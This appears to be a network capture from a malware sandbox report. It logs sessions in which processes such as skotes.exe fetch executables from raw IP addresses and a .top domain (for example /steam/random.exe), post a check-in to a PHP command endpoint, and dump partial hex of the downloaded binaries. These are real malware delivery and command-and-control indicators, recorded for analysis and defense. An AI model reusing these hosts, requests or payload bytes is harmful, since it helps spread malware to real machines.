Nov 18, 2024 15:18:20.717499971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:20 GMT Content-Type: application/octet-stream Content-Length: 1894400 Last-Modified: Mon, 18 Nov 2024 14:00:59 GMT Connection: keep-alive ETag: "673b489b-1ce800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 44 26 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDK@KD&@\p x@.rsrc @.idata @ p+@rfqqnhtf@@16@hswvbhqfK@.taggant0K"@
Nov 18, 2024 15:18:20.717524052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:20.717536926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:20.717549086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:20.717569113 CET	1236	IN	Data Raw: f5 2d d2 a2 e3 10 ac 9a 63 d8 c3 8f 3c 6c e9 d7 8c 70 5a 73 3a ab 76 4c 0d 18 05 cd 9f b0 42 27 0d df eb 9e 8c 08 8a 7d 9f d5 01 fb 20 2c d1 4b d6 36 62 90 d4 f6 c1 2f 69 53 2d d8 61 ca a6 86 19 d5 ec 15 c1 b0 31 8f bf a7 34 a9 7e 9e 86 18 9e e0 Data Ascii: -c<lpZs:vLB'} ,K6b/iS-a14~xs{xrBXLWj~t6C""qZyp}w~K{tO*tb/X1hj>qz]X
Nov 18, 2024 15:18:20.717581987 CET	1236	IN	Data Raw: e4 68 e4 8d 8c 0e 78 1b 5c 27 05 d2 f0 24 97 97 c0 e7 ec fa 5f 39 c0 c0 40 b7 d7 e6 4b a4 7f f9 49 21 b9 48 8f 38 61 33 f8 d6 aa 01 13 ee e0 59 8f 3e 31 88 8c 58 3c 2e d6 de cd ab 16 55 8e 1a 8d e1 61 f0 f1 36 d4 2c de 0f f8 80 a9 4c 06 12 5e 19 Data Ascii: hx\'$_9@KI!H8a3Y>1X<.Ua6,L^KE$6%2}\qw"nK)Kep^~SYg?JvO6bCV.!I;`$3G,BochaC0@G-w\|d
Nov 18, 2024 15:18:20.717595100 CET	1236	IN	Data Raw: d3 c3 cf d6 ab d2 39 6a 80 3e 42 b1 8e a9 7e 9f 62 1e 11 7c 24 b2 43 31 df f6 61 c3 f7 f7 a8 48 48 75 4d 65 2a 55 26 93 20 5d 76 58 97 e7 83 f6 be 2c 73 0c 62 ef 25 8b 4d 10 b9 41 8d 0f 2f 6a da 41 4b 1a 5f 4a c5 8f 0f 34 8e 0c 49 e8 07 0d 3d b7 Data Ascii: 9j>B~b\|$C1aHHuMeU& ]vX,sb%MA/jAK_J4I=`>~OMLNLEAeu]wW6G&N4sm:g-rKv.6pDt<kPw]N7Dr)%Fjk7sbI
Nov 18, 2024 15:18:20.717608929 CET	1236	IN	Data Raw: c9 f1 79 2b ed a8 02 4d d7 8b 61 83 d6 f0 b7 12 c1 3a 7f 5c 67 ed d0 a8 75 e3 e8 77 9f f6 d5 62 1a 71 fe 38 6d b3 98 7d c6 9a 7a ff 9e e5 11 b1 b7 f1 46 89 77 3d 00 04 cb 3e 8e 46 d1 f9 f2 a2 ba b0 d0 a4 a9 ee f9 10 21 e5 9f d1 96 06 81 64 32 d4 Data Ascii: y+Ma:\guwbq8m}zFw=>F!d2\|XGWytt9jBUokugomsY'GrKWu~ >]vqjqXoq$wG**JC6[
Nov 18, 2024 15:18:20.717693090 CET	1236	IN	Data Raw: 58 d9 e2 80 21 eb f6 09 bb bc f2 75 30 11 a8 fc 05 d4 c5 bf d6 8c 47 f1 c0 78 7f b0 06 ef e8 9e 2a b5 a8 8d 88 7b 97 0f e0 70 95 c4 89 cf 06 f6 1d 79 86 fe 99 77 7d ae 1f 99 75 d2 ee 38 88 23 1e 30 3e ab 1e 2f 86 f5 f7 90 de 3a 4f e7 10 55 d1 52 Data Ascii: X!u0Gx{pyw}u8#0>/:OUR;D8d+v8 Iju-z*v~&[ku@%xWU<kUIaSq%<CnH19S?m8A$Cn;v#`Zx)s&Hl\\I
Nov 18, 2024 15:18:20.717705965 CET	1236	IN	Data Raw: 3e 77 41 88 e1 0d 05 ee 2d 36 a7 4d f0 24 be 83 98 0e a9 1b a6 22 72 aa 6a ee c8 af de f9 b6 1f 5d 91 46 0a 76 7d b9 7e 66 a5 ff 83 21 ba b2 95 bd 77 cb cf cc f7 64 b3 1c 27 25 cb d8 00 82 c9 dc 91 4b 98 1c 73 97 3a ed 90 84 5b fd 24 80 1f f1 16 Data Ascii: >wA-6M$"rj]Fv}~f!wd'%Ks:[$&?Zy'wVw?S5aE}{IRxDNtpsvOpZ!tK??tJ`q}Jz(u7>9~4v-nmbc
Nov 18, 2024 15:18:20.722481012 CET	1120	IN	Data Raw: f8 1b b5 8f ca 10 bd 41 d3 37 75 09 34 b3 7c fb 4f 70 48 ed 20 63 9a 17 c7 b9 9f 89 3a b5 e8 0d 8e ea 80 d2 e1 a9 39 e2 be 5c 0d fb 33 dd 83 e7 05 83 d0 d0 8f 55 63 c1 5e 65 d5 d5 b1 f2 5d fc d9 3c d4 3b 12 e3 45 4a 7a 10 a5 63 9d b3 9c ed 74 e8 Data Ascii: A7u4\|OpH c:9\3Uc^e]<;EJzctewq\)a-tnecuYTxdG.8YAL~}H\| 3I``'q}tZ%`C2~4p_M6Xd6 rM3X'&#lGv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49851	62.76.234.151	80	5732	C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:20.185409069 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 15:18:21.193830967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 14:18:21 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 15:18:21.193855047 CET	212	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL
Nov 18, 2024 15:18:21.193871021 CET	1236	IN	Data Raw: 11 39 9f 7e 7f 8d 16 97 05 0a 25 a4 c7 10 6b c2 9f f9 a7 a4 89 e5 c1 96 6b 49 af 33 c0 f4 2f b5 f2 4f ec 13 a2 93 29 5b 5a 07 4b 7c cc b9 45 cc 62 3b c4 f5 6f ca 0f fa 12 e9 62 cb aa be 08 cb 0c 54 df 37 24 29 22 9d 38 f7 f2 38 e8 c3 68 d3 63 4d Data Ascii: 9~%kkI3/O)[ZK\|Eb;obT7$)"88hcM^Q#{yq3B\|W/)1<v}:./dA(oRBZkWH,Fypr6&0.}.tWfl#J4@y^ST%kQb.o:J,rr\
Nov 18, 2024 15:18:21.193887949 CET	212	IN	Data Raw: 4c 02 37 d9 3d 07 d1 9d 61 11 8d 96 d6 0d db 40 d1 68 aa 97 8e 36 9a 11 93 5c d5 35 30 23 bf 4d a3 4e f3 a8 35 ca 12 56 f6 d8 91 d4 74 a3 8b b3 7d 80 49 88 1d 44 48 6a cb 0c 26 5a 38 b9 54 a9 e2 07 29 8a 2a c2 de 6f df 94 df dd 15 ef 09 30 f8 0e Data Ascii: L7=a@h6\50#MN5Vt}IDHj&Z8T)*o0OosJ\|/0BbQ'!j/f5}Iz60Dq)lrl ]]tp=+sIphl__k
Nov 18, 2024 15:18:21.198679924 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 18, 2024 15:18:21.198703051 CET	212	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KD
Nov 18, 2024 15:18:21.266361952 CET	1236	IN	Data Raw: 7a b8 f5 f9 a9 42 e3 64 23 fd 43 95 22 8d 49 cc cc 6d 95 09 2c a0 73 62 0b ec 70 22 7c 89 49 d1 6f b1 ee 87 13 9d 15 78 60 d9 30 0f 94 f0 34 f7 12 38 30 2e 5c d4 4e 4b 95 2a c4 bb e4 88 b7 83 bd e5 14 cd 21 69 42 6d 55 66 5f 3e 61 c6 bc 7a 48 01 Data Ascii: zBd#C"Im,sbp"\|Iox`0480.\NK*!iBmUf_>azHk>9N:BA\|<Od^pJ6PZ1Y=ZF>H> Gh4@m?EGma0/v^ 'CB\|U<:8>nE
Nov 18, 2024 15:18:21.266802073 CET	1236	IN	Data Raw: 1f f4 11 29 54 a0 6f dd af 7d 8e a5 b8 db 40 d6 4e de ba e1 56 ac 09 50 b4 1c 62 a0 71 ba ce 18 0a 5f cc 7b c1 43 2c d5 4c a3 c1 cf 7d 9d d1 85 ed 04 7c c8 d2 13 9c a7 99 f2 07 d8 27 eb bd 30 1f 23 97 10 7d 09 e1 d4 8c 99 18 a4 d7 5f 57 a7 3a d2 Data Ascii: )To}@NVPbq_{C,L}\|'0#}_W:i@Rc}/<y+S>,c7*UK"m~yQJMYHvnVr^"XlHDwramuOloIsylNn4Oi,0
Nov 18, 2024 15:18:21.266819954 CET	424	IN	Data Raw: b2 87 ea 8f 15 b1 95 1b 70 68 b7 06 d6 84 48 fc da c2 4b 74 4d 94 97 02 03 34 b1 c7 4c f4 13 59 41 a7 30 06 25 53 89 b8 92 ab 8d 5f 92 09 bd c5 d0 c2 5f 2f 81 3c 00 06 29 cb 0b 04 4a 96 03 0e 39 45 14 4a 9d 28 d6 98 60 89 bb 8f d7 29 a9 7b 51 40 Data Ascii: phHKtM4LYA0%S__/<)J9EJ(`){Q@?e0>UjJt_<:OxoNk:ZR}(]LbJqXh!$=!~:vTmqn!i>eZ9&x3@B!:(hne
Nov 18, 2024 15:18:21.266836882 CET	1236	IN	Data Raw: 77 2e b5 41 cf 3f 6f 9d 7d b6 f6 de 27 53 c7 da 9f e7 14 1e 08 fa ae da 35 34 20 4e 39 9c 45 67 b5 aa 78 64 04 3d ad c6 f8 28 bf f8 d3 75 80 94 fa 49 8e 17 c3 79 91 3f 3f c3 5a bf 6b 4f 7b c0 19 00 44 92 4c 21 a0 0d 76 60 8a cd 09 1b fa 69 d4 58 Data Ascii: w.A?o}'S54 N9Egxd=(uIy??ZkO{DL!v`iX:l$.K5PT0?[s[-Bd'EE.DkJ\^A2AW7Y'eqA#A(pI>j>iB3l(Bs?9UA5Ihhg[C4\|_I~\|vaD
Nov 18, 2024 15:18:21.271605968 CET	1236	IN	Data Raw: 30 be b5 2b ec 88 94 c9 a8 95 5d 60 35 dc 42 cf 31 45 5e b2 92 98 67 9e 8d 17 6f 96 c8 24 b2 8c a5 c0 4d 84 04 98 f0 24 44 1f 34 05 0c 6f 24 ee c0 15 79 0b 4e a0 2c e2 a7 03 bb 56 f4 35 45 81 46 22 7a cc 70 60 ce 12 ca 1b 27 ca fc ce 7f 4b a5 8d Data Ascii: 0+]`5B1E^go$M$D4o$yN,V5EF"zp`'KS0M_rW\C?.N(\|F\Q$juz"yMo.Lb%9KNXN4MB asC) nm zz+\|M`V;0]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49853	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:28.076117039 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007171001&unit=246122658369
Nov 18, 2024 15:18:29.139725924 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49855	185.215.113.16	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:29.371994972 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 15:18:31.290163040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:31 GMT Content-Type: application/octet-stream Content-Length: 1808384 Last-Modified: Mon, 18 Nov 2024 14:01:06 GMT Connection: keep-alive ETag: "673b48a2-1b9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 16 c3 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"@i@pi@M$a$$ $b@.rsrc$r@.idata $t@ p*$v@yxhcafke0Ox@sfevywmg0ir@.taggant0@i"v@
Nov 18, 2024 15:18:31.290462971 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:31.290474892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:31.294460058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:31.294610977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:31.296163082 CET	636	IN	Data Raw: dc 88 46 43 44 aa b5 cb e5 d7 36 21 4b bf af 31 11 f7 37 c1 9f 67 bb 50 09 1b 18 9b 5e 64 32 be 14 2e a1 ba 9a e8 28 47 91 b4 fd 34 50 e3 45 6c 07 f6 3e b4 a1 3b 08 d9 e6 34 62 e3 a1 da 30 4b 1a 58 9f 6d 21 e9 cb 2e 70 77 f4 ad 06 e5 90 58 f9 ef Data Ascii: FCD6!K17gP^d2.(G4PEl>;4b0KXm!.pwX2z5{{gzM{\|};OZvRo_duWao]&W1P?Uq3@k$xJNkV]]ML>Ikt9S(G!fsYt
Nov 18, 2024 15:18:31.296178102 CET	1236	IN	Data Raw: a9 1f c8 44 ac c4 ee 6c af 4d ef f5 ab 87 c0 98 c6 18 b8 d0 e2 96 34 f5 11 42 74 76 ec 95 66 2d 10 ab bc f4 22 f9 75 58 ac 71 29 c7 df 6d e1 e0 ce ff 86 fb 21 07 92 03 18 b3 2c 7e 08 51 02 11 dd 73 fc ad e2 57 10 61 b9 b0 00 6a 64 37 e2 50 8c fb Data Ascii: DlM4Btvf-"uXq)m!,~QsWajd7P\#~:_KA7V$WW#N5]nBWhzO<`dp[{3hQLmkEWjtMZ<x%;\|j3..j&X:X?
Nov 18, 2024 15:18:31.296185017 CET	1236	IN	Data Raw: a0 b1 a1 1d b0 6f b2 2c dc 4f e7 10 90 d0 11 18 78 d0 6e 09 84 48 d1 44 a6 ec 34 88 39 43 06 50 62 90 36 8d f9 3f ea 56 6c 89 77 ea cf 73 66 f1 d1 e6 fd 69 b9 98 5a c3 f3 94 58 5b 33 b6 7f b8 b2 b7 19 ee 2c f4 67 9b c7 9d b2 5b 1b c4 dc cb ca 9d Data Ascii: o,OxnHD49CPb6?VlwsfiZX[3,g[2EXx]o*1[6s8[Xw4[P8u5CTvpHf.O1fX,\|%5oJ?!GT;~zb092
Nov 18, 2024 15:18:31.296194077 CET	1236	IN	Data Raw: 08 1f 7d 55 22 e0 a7 a5 8a 3f 3c 15 28 b4 42 cb b0 f6 ef 67 ad 87 a6 cd ba dc 6b 2f 9e ef 8f 01 d4 88 6a ce a0 97 f0 4a 7f 43 ee 65 08 63 1a 04 a9 7d 3d 6d 3c a8 32 13 10 ef 3b 67 38 b4 16 67 f2 1b 10 c2 a1 2b 7e e4 7a b4 f0 b0 a7 60 90 57 4c f3 Data Ascii: }U"?<(Bgk/jJCec}=m<2;g8g+~z`WL7V_KaiuV7KC`ax8?F<^8`pBTU@o4b=}33{NJ0K{Ug\|or!V:M9ew:cHef,W/u6
Nov 18, 2024 15:18:31.296207905 CET	1236	IN	Data Raw: 9e a5 7e 56 88 ef 44 1c a4 c2 32 0b 9b 57 9e cd 3e b3 d8 11 1f 8f 46 5f d2 f3 49 e6 cd 63 b7 46 77 d7 3b 5f 34 92 5a cb ce 69 ee 1d 10 f7 b7 90 0e 98 de 6c 4f 5a 9c 6b b3 7c de 52 b2 53 39 03 62 af 90 35 d0 79 ea ab a0 f3 3b 5f 58 a2 90 8a aa f3 Data Ascii: ~VD2W>F_IcFw;_4ZilOZk\|RS9b5y;_X4`X4<c0oDwat_1CS__Xv1]w6X#q{U87)OnZa8z)3;c\|":Je`cV
Nov 18, 2024 15:18:31.299828053 CET	1236	IN	Data Raw: 27 90 bd 6c bc 25 e1 c0 9e 6f a9 60 83 71 32 6e d8 f3 3f 5f 24 dc 38 9c 89 c7 86 f5 31 61 06 4e b4 07 a8 82 8c 0b 19 a3 52 6f e7 90 e3 af 36 d6 46 a0 74 6d 64 61 80 9d aa 7f a9 03 1e d3 a6 a5 ab 1f 7d dd 8a b4 3e e1 6d e3 cf 5f b3 6b eb 20 03 90 Data Ascii: 'l%o`q2n?_$81aNRo6Ftmda}>m_k _o'fWyP6%7bGeZ*Ro'@]wVdvOCV"^\gBSas7<^\|iSPHx{\o:o0vca6W>waRL

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49708	142.250.184.196	443	6252	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:41 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlaHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 14:16:41 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:41 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ou0qjrIPLL8MfQLiGgJz-g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
